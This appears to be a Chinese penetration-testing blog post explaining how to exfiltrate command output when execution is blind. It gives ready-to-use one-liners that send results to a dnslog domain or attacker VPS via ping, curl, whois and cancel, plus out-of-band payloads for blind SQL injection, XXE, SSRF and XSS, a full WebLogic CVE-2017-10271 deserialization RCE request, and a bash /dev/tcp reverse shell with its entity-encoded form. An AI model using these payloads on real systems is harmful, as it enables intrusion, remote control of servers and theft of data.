zoukankan      html  css  js  c++  java
  • 如何在无回显时渗透

    前言

    在渗透测试的很多时候,我们可能都得不到数据的回显。由于得不到数据的回显,我们就无法进一步判断我们渗透测试的结果。所以本文告诉大家,在没有回显的时候,我们又该如何测试。

    1.利用ping

    ping `命令`.dnslog

    有很多免费的dnslog使用,例如BurpSuite自带的模块——Burp Collaborator client,当然社区版没有这个功能,专业版的BurpSuite才具有。

    还有免费的ceye.io、吐司等,这里不做过多的介绍,以Burp Collaborator client为例。

    假如我们需要执行一个uname,我们先点击Copy to clipboard,接着组装我们的语句即可,最后执行它

     待它执行几秒钟,我们的Burp Collaborator client就会有回应

     ping执行

    我们直接在本机执行uname验证一下

     

    2.利用curl

    Win10和WinServer2016(或更高版本)均已默认自带curl

    curl dnslog/`命令|base64|tr ' ' '-'`

    curl dnslog/`命令|tr ' ' '-'`

     你会得到一个http的请求,在请求中就是命令执行的结果

     在某些极端情况下,你可能需要使用base64编码一下,因为可能某些命令返回的结果为中文

     去掉/、-以后,对结果进行还原就为命令执行以后的结果

    前面说的这些都是基于能解析host的时候执行的,然而在很多实际情况中,被渗透的机器根本不会配置dns。在不配置dns的情况下,dnslog就会失效,命令将返回uknown host,

    由于无法解析host,找不到dnslog的ip,我们也无法从dnslog平台获得命令执行的结果。请接着看下文。

    3.利用whois

    谈到whois,很多人的第一反应应该是查域名从属吧。其实不然,whois还可以用来回显命令执行的结果。

    whois -h vps‘ip -p port `命令`

    whois -h vps‘ip -p port `命令 |base64`

    这里我们需要自行准备一台vps,其实就是有公网ip的机器,在机器上监听一个端口。例如我在我的vps上监听6666,且在目标机器执行一个uname
    nc -l -p 6666 -vvv

    那么我们就在目标机器上执行如下命令(myip为我的vpsip)

    whois -h myip -p 6666 `uname`

    whois -h myip -p 6666 `uname |base64`

     

     

    如图就返回了我们的命令执行结果

    4.利用cancel

    其实除了whois以外,还有cancel可以利用

    cancel -u "$(命令)" -h vps'ip:port

    我们同样需要一台vps,在上面监听任意端口

    目标机

    去除方框中的"my-jobs",即为命令回显结果

    后记

    那么这些东西可以配合哪些场景使用了?

    1.SQL注入

    当我们的SQL注入为盲注时,它可是不会返回结果的。

    select load_file(concat('\\\\',(SQL语句),'.dnslog\随便输入字母'))

    众所周知,mysql中load_file是可以执行dns请求的,注意dnslog前面有个".",千万不要忘记了。

    2.XXE

    我们只需要把dtd文件换成下面的内容即可

    #payload1
    <?xml version="1.0" encoding="UTF-8"?>
    <!DOCTYPE root [
    <!ENTITY % remote SYSTEM "http://dnslog/随便输入字母">
    %remote;]>
    <root/>
    #payload2
    <!ENTITY % all
    "<!ENTITY &#x25; send SYSTEM 'http://dnslog/%file;'>"
    >
    %all;

    3.RCE

    前面的部分基本上都在展示执行命令,这里我们结合一下Weblogic XML Decoder反序列化(CVE-2017-10271)

    POST /wls-wsat/CoordinatorPortType HTTP/1.1
    Host:x.x.x.x:x
    Cache-Control: max-age=0
    Upgrade-Insecure-Requests: 1
    User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.119 Safari/537.36
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
    Accept-Encoding: gzip, deflate
    Accept-Language: zh-CN,zh;q=0.9
    Connection: close
    Content-Length: 640

    <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
    <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
    <java version="1.4.0" class="java.beans.XMLDecoder">
    <void class="java.lang.ProcessBuilder">
    <array class="java.lang.String" length="3">
    <void index="0">
    <string>/bin/bash</string>
    </void>
    <void index="1">
    <string>-c</string>
    </void>
    <void index="2">
    <string>命令</string>
    </void>
    </array>
    <void method="start"/></void>
    </java>
    </work:WorkContext>
    </soapenv:Header>
    <soapenv:Body/>
    </soapenv:Envelope>

    我们只需要替换一下上文中命令的部分为如下的任意一种(请注意html实体编码,payload默认为Linux,win需要修改/bin/bash为cmd或者cmd.exe,-c为/c)

    html实体编码

    ping `命令`.dnslog
    curl dnslog/`命令|base64|tr ' ' '-'`
    curl dnslog/`命令|tr ' ' '-'`
    whois -h vps‘ip -p port `命令`
    whois -h vps‘ip -p port `命令 |base64`
    cancel -u "$(命令)" -h vps'ip:port

    #直接反弹shell

    bash -i >& /dev/tcp/127.0.0.1/8080 0>&1

    所有的命令都需要注意转换html实体编码
    例如原本的反弹命令为

    bash -i >& /dev/tcp/127.0.0.1/8080 0>&1

    转换后为

    bash -i &gt;&amp; /dev/tcp/127.0.0.1/8080 0&gt;&amp;1

    可以去这里转换:https://www.qqxiuzi.cn/bianma/zifushiti.php

    4.SSRF

    我们可以在需要的参数后面直接修改为vps'ip或者dnslog地址
    如果你使用vps,那么你依然需要在vps上先执行监听端口
    如果你使用dnslog,那么直接修改为dnslog地址
    例如某参数为video_url,修改为如下

    video_url=http://vps'ip:port

    video_url=dnslog

    5.XSS

    使用如下Payload

    <IMG SRC=# onerror=http://dnslog/随便输入字母>
  • 相关阅读:
    利用python数据分析与挖掘相关资料总结
    pandas库学习笔记(一)Series入门学习
    mysql error:You can't specify target table for update in FROM clause
    查询及删除重复记录的SQL语句
    PHP tripos()函数使用需要注意的问题
    如何用git上传代码到github详细步骤
    这是我的第一篇博客
    html link js
    BOM与DOM
    创建简单的表单
  • 原文地址:https://www.cnblogs.com/1008612mrzou/p/15393443.html
Copyright © 2011-2022 走看看